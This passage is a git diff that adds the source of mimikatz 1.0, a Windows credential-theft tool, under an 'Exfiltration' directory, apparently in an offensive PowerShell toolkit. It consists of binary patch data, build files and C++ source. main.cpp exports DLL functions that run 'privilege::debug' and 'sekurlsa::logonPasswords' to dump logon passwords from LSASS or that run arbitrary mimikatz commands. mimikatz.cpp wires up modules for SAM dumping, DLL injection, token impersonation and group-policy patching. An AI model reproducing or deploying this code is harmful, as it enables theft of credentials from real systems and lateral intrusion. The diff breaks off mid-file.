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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a9809e1aa9bfc8a1cecd1671d78b7e215fc35587 GIT binary patch literal 3262 zcmdUyO;5r=5Qg8giT{D49%$sE#v5*1Y@mho3u7Aj|9?V#W?O>+E-Geg8fa%{=scZ$ zyF0wUy~^o9ofgVe>q(6su{K(3t3;(L#uBYK5e`w3C|KUGYd2`4)wN!cEc*S^810KDyCd}@5fM~%CGM`s2cb-!DsArmHvY7 zJNw(=D&1Etw7O%jqh8(nx`n2)b-mS&Z&Uf$=z1RO)Q)%8FkRi}j@GauSU+HP0pD?V zx1+x*c~7nPjE2a4FEuuL$1WYCgC(T4H;tdzI@ARp>vHRVMQ;BsDk`1(UjKB>KLDFK B$#DPx literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..5913372303152dc86d075d7216dac40c5b972df7 GIT binary patch literal 354 zcmd6jK@Ng26hzj^iU9ndhcEC~w6l=|Ha+ji`|qeJ^E|80Bw?;Y`LU;rwSa%_})_ U*jdkE-TFeF*dlgz`nlNp2Tm|FqyPW_ literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp new file mode 100644 index 0000000..365bd1a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp @@ -0,0 +1,5 @@ +#include +#include +#include "global.h" + +std::wostream *outputStream = &std::wcout; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h new file mode 100644 index 0000000..4bfe000 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.h @@ -0,0 +1,4 @@ +#pragma once +#include + +extern std::wostream *outputStream; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp new file mode 100644 index 0000000..8862e42 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp @@ -0,0 +1,73 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek. + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "globdefs.h" +#include +#include +#include "mimikatz.h" +#include + +int wmain(int argc, wchar_t * argv[]) +{ + setlocale(LC_ALL, "French_France.65001"); + _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + + /*SetConsoleCP(CP_UTF8); + SetConsoleOutputCP(CP_UTF8);*/ + + vector * mesArguments = new vector(argv + 1, argv + argc); + + mimikatz * myMimiKatz = new mimikatz(mesArguments); + delete myMimiKatz, mesArguments; + return ERROR_SUCCESS; +} + +extern "C" __declspec ( dllexport) wchar_t* WStringFunc() +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + vector* mesArguments = new vector(); + (*mesArguments).push_back(L"privilege::debug"); + (*mesArguments).push_back(L"sekurlsa::logonPasswords"); + (*mesArguments).push_back(L"exit"); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + +extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input) +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + int argc = 0; + LPWSTR* argv = CommandLineToArgvW(input, &argc); + + vector * mesArguments = new vector(argv, argv + argc); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp new file mode 100644 index 0000000..7265ef9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp @@ -0,0 +1,286 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mimikatz.h" + +bool mimikatz::initLocalModules() +{ + mod_system::getVersion(&mod_system::GLOB_Version); + mod_mimikatz_sekurlsa::loadLsaSrv(); + mod_cryptoapi::loadRsaEnh(); + + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion système", mod_mimikatz_system::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands())); + return true; +} + +mimikatz::mimikatz(vector * mesArguments) : Kmimikatz(NULL) +{ + initLocalModules(); + SetConsoleTitle(MIMIKATZ_FULL); + (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl << + L"// http://blog.gentilkiwi.com/mimikatz" << endl; + + bool mustContinue = true; + if(mesArguments) + { + for(vector::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++) + { + wstring commande = *maCommande; + (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl; + mustContinue = tryToDispatch(&commande); + } + } + + if(mustContinue) + { + wstring * monBuffer = new wstring(); + do + { + (*outputStream) << endl << MIMIKATZ << L" # " << dec; + getline(wcin, *monBuffer); + } while(tryToDispatch(monBuffer)); + delete monBuffer; + } + wcout.flush(); +} + +mimikatz::~mimikatz(void) +{ + mod_cryptoapi::unloadRsaEnh(); + mod_mimikatz_sekurlsa::unloadLsaSrv(); + mod_mimikatz_inject::closeThisCommunicator(); +} + +bool mimikatz::tryToDispatch(wstring * maLigne) +{ + bool reussite = false; + + if(!(reussite = maLigne->empty())) + { + switch(*(maLigne->begin())) + { + case L'@': + case L'*': + reussite = this->doCommandeDistante(maLigne->substr(1)); + break; + case L'!': + reussite = this->doCommandeKernel(maLigne->substr(1)); + break; + default: + wstring fonction = *maLigne; + vector arguments; + + size_t monIndex = fonction.find(L' '); + if(monIndex != wstring::npos) + { + fonction = fonction.substr(0, monIndex); + arguments = mod_parseur::parse(maLigne->substr(monIndex + 1)); + } + reussite = doCommandeLocale(&fonction, &arguments); + } + } + + return reussite; +} + +bool mimikatz::doCommandeLocale(wstring * fonction, vector * arguments) +{ + size_t monIndex = fonction->find(L"::"); + + wstring module = L""; + wstring commande = *fonction; + + if(monIndex != wstring::npos) + { + module = fonction->substr(0, monIndex); + commande = fonction->substr(monIndex + 2); + } + + for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + if(module == monModule->module) + { + for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(commande == maCommande->commandName) + { + return maCommande->ptrCommand(arguments); + } + } + + if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; + else (*outputStream) << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl; + + (*outputStream) << endl << L"Description du module : " << monModule->description << endl; + listCommandes(monModule); + + return true; + } + } + + (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl; + listModules(); + return true; +} + +bool mimikatz::openKernel() +{ + bool reussite = false; + + if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE) + { + (*outputStream) << L"Ouverture du pilote mimikatz : "; + Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"CreateFile ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else + { + reussite = true; + } + + return reussite; +} + +bool mimikatz::closeKernel() +{ + bool reussite = false; + if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE) + { + if(CloseHandle(Kmimikatz)) + { + Kmimikatz = NULL; + reussite = true; + } + } + return reussite; +} + +bool mimikatz::doCommandeKernel(std::wstring &commande) +{ + if(!commande.empty()) + { + if(openKernel()) + { + DWORD dwReturn; + /* + (*outputStream) << L"DEBUG WriteFile " << endl << + L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; + */ + if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) + { + /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ + + DWORD dwBuff = 0x40000; + DWORD dwRead = 0; + BYTE * buffer = new BYTE[dwBuff]; + RtlZeroMemory(buffer, dwBuff); + + /*(*outputStream) << L"DEBUG ReadFile " << endl << + L"\tBuffSize : " << dwBuff << endl;*/ + + if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL)) + { + /*(*outputStream) << + L"\tReaded : " << dwRead << endl << + endl; + */ + wcout /*<< L"BUFF : " << endl*/ + << reinterpret_cast(buffer) << endl; + } + else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl; + + delete[] buffer; + } + else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz"; + } + else + { + (*outputStream) << L"Commande vide (fermeture forcée) reçue" << endl; + closeKernel(); + } + + return true; +} + +bool mimikatz::doCommandeDistante(std::wstring &commande) +{ + bool commOk = false; + + if(mod_mimikatz_inject::monCommunicator) + { + if(!commande.empty()) + { + if(mod_mimikatz_inject::monCommunicator->isConnected()) + { + if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande)) + { + wstring buffer = L""; + do + { + if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer)) + { + (*outputStream) << buffer.substr(1) ; + } + else + { + (*outputStream) << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl; + break; + } + } while(*(buffer.begin()) == L'#'); + } + else (*outputStream) << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"Commande vide (déconnexion forcée) reçue" << endl; + } + else (*outputStream) << L"Erreur : pas ou plus de communication établie" << endl; + + if(!commOk) + mod_mimikatz_inject::closeThisCommunicator(); + + return true; +} + +void mimikatz::listModules() +{ + for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl; + } +} + +void mimikatz::listCommandes(vector::iterator monModule) +{ + for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(maCommande->commandName.front() != L':') + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl; + } +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h new file mode 100644 index 0000000..2973368 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_parseur.h" +#include "mod_pipe.h" +#include "mod_process.h" +#include "mod_system.h" + +#include "modules/mod_mimikatz_standard.h" +#include "modules/mod_mimikatz_crypto.h" +#include "modules/mod_mimikatz_hash.h" +#include "modules/mod_mimikatz_system.h" +#include "modules/mod_mimikatz_process.h" +#include "modules/mod_mimikatz_thread.h" +#include "modules/mod_mimikatz_service.h" +#include "modules/mod_mimikatz_privilege.h" +#include "modules/mod_mimikatz_handle.h" +#include "modules/mod_mimikatz_winmine.h" +#include "modules/mod_mimikatz_minesweeper.h" +#include "modules/mod_mimikatz_nogpo.h" +#include "modules/mod_mimikatz_samdump.h" +#include "modules/mod_mimikatz_inject.h" +#include "modules/mod_mimikatz_terminalserver.h" +#include "modules/mod_mimikatz_divers.h" +#include "modules/mod_mimikatz_impersonate.h" +#include "modules/mod_mimikatz_sekurlsa.h" +#include "modules/mod_mimikatz_efs.h" +#include "global.h" + +class mimikatz +{ +private: + static vector getMimiKatzCommands(); + vector mesModules; + bool initLocalModules(); + bool tryToDispatch(wstring * maLigne); + bool doCommandeLocale(wstring * fonction, vector * arguments); + bool doCommandeDistante(std::wstring &commande); + bool doCommandeKernel(std::wstring &commande); + + bool openKernel(); + bool closeKernel(); + + void listModules(); + void listCommandes(vector::iterator monModule); + + HANDLE Kmimikatz; + +public: + mimikatz(vector * mesArguments = NULL); + virtual ~mimikatz(void); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc new file mode 100644 index 0000000000000000000000000000000000000000..85dd98fd902edadeb30d648631ca9d962e266062 GIT binary patch literal 2528 zcmb`J+iu!G5QgWvQr}?)k zEw3bP_51Q9ON(bDC3m2HmpP~l$;elBoa7Qq&gQAsyu}CjzS-hGkhgHH$mbRB792Zx zP{fBGJ_KCv(E7z?4r;c+xRojz74Fw)sKtP%I=db2Rq)Ju$H|pBEy@RZ&q)iZ!hv(e z($z(($8Q-MEgS1P?=?^=ur@mPb%e)}woV zU8Q?je?N}srMg5qAXi#nDJ)E7EHip(B0s2%JKl!uYmKGwcF2BY{V;eK$~V@2>-+J2 z3`(|3`!+T+i#P?@+ZltZ>k<2r{KWPQUQ48nd}3ewd5Z1DNw&M#o}(Lr5!=i&Gji+o z9G^6wk;RIninwG2Nndw2~)=sZ_Lc=K`PdazWf)p1UTt zr$l~9%QQzvPZi$+(lc#CHCo&fM;wHfY*A3+g~?ceBQH!nnTG zZqlsiOxm0sG28e_&+}H&chsSKjhyQ@^U(S3eu`?(NS17B&yUILgtySXs|Q)zgPVQW zV{Xln3-K(ol1yPQ%VqXR-y<`pV!W*S;wo~N%kKO6ed)t*!1wMEPCB(bC)bV2O1tFv rb$(X*Z)L<9z$iM(?(!ep4BwS==Rcx`7es6f$N52aY540z4ylg6szg78 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj new file mode 100644 index 0000000..5c0f138 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj @@ -0,0 +1,228 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8} + Win32Proj + mimikatz + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + false + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + false + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + true + Fast + false + false + true + false + Size + None + + + Console + true + true + psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib + false + NoErrorReport + + + 0x040c + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + true + Fast + false + false + true + false + Size + None + MultiThreaded + + + Console + true + true + psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib + false + NoErrorReport + + + 0x040c + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters new file mode 100644 index 0000000..378149f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters @@ -0,0 +1,386 @@ + + + + + {86154ac4-51c4-4228-9ebb-5bc3c67c82a5} + + + {ab2db025-9ada-4b24-9f10-5bc479e72179} + + + {4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a} + + + {3774201f-55a6-4793-8ca7-b6a9b1ff795b} + + + {81abef97-02ad-49e1-abfc-05b3c052b87c} + + + {5132675e-44a3-4ab9-a33b-91cbeaa9559a} + + + {5b8a7a54-517e-4ab4-b7e6-be738e69c0c7} + + + {1c14c20e-5127-461c-8c84-e47f621878a5} + + + {13a67a74-e658-49da-8af5-857e3d692af7} + + + {56b648ea-1ae8-4f7b-90b6-860f84d468d9} + + + {4e99b7f2-6de3-4984-a50a-0f60b3cf74d6} + + + {e3eb943a-ee7e-4141-afb7-51276c95b0e1} + + + {3d143a37-f444-4586-8866-b7c022720fb0} + + + {83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6} + + + {22cb979b-54ee-4732-bd93-538856c4818f} + + + {33450f45-6837-4cba-af7b-457bceebc085} + + + {660c14bc-8634-4e80-87d6-39f9dab51e2d} + + + {238e934d-2706-4fe3-8b7a-f14c2939f060} + + + {d5a5224b-a3d5-4ebb-9805-08998c7ed015} + + + {2a99a328-634d-44e7-bcaa-30112f169554} + + + {c8277a95-f9da-4352-9bb1-b35c883c6054} + + + {b482744c-513e-41c6-a766-22adead15ecd} + + + {a5ed030b-28fe-41b0-9f63-b254fd57400f} + + + {77e8ad35-fa4d-4e0d-afdc-ae3060d5370a} + + + {43b545d3-ad41-4c42-970d-7850d77b5432} + + + {3a9d8afc-3734-4b86-ab2a-a300a20f956a} + + + + + + Modules Communs\Certificats & Clés + + + Modules Communs\Injecteur + + + Modules Communs\Mémoire + + + Modules Communs\Parseur + + + Modules Communs\System + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules locaux pour mimikatz\Standard + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\AntiGpo + + + Modules Communs\System + + + Modules Communs\Registre + + + Modules locaux pour mimikatz\Samdump + + + Modules Communs\Communication + + + Modules locaux pour mimikatz\Injecteur + + + Modules Communs\Certificats & Clés + + + Modules Communs\Certificats & Clés + + + Modules Communs\Patch + + + Modules locaux pour mimikatz\Terminal Server + + + Modules locaux pour mimikatz\Divers + + + Modules Communs\Securité et ACL + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\Terminal Server + + + Modules locaux pour mimikatz\Impersonate + + + Modules locaux pour mimikatz\System + + + Modules Communs\Texte + + + Modules Communs\Certificats & Clés + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\SekurLSA + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + + + + + + Modules Communs\Certificats & Clés + + + Modules Communs\Injecteur + + + Modules Communs\Mémoire + + + Modules Communs\Parseur + + + Modules Communs\System + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules locaux pour mimikatz\Standard + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\AntiGpo + + + Modules Communs\Registre + + + Modules locaux pour mimikatz\Samdump + + + Modules Communs\Communication + + + Modules locaux pour mimikatz\Injecteur + + + Modules Communs\Certificats & Clés + + + Modules Communs\Certificats & Clés + + + Modules Communs\Patch + + + Modules locaux pour mimikatz\Terminal Server + + + Modules locaux pour mimikatz\Divers + + + Modules Communs\Securité et ACL + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\Terminal Server + + + Modules locaux pour mimikatz\Impersonate + + + Modules locaux pour mimikatz\System + + + Modules Communs\Texte + + + Modules Communs\Certificats & Clés + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp new file mode 100644 index 0000000..9b51c7f --- /dev/null +++ 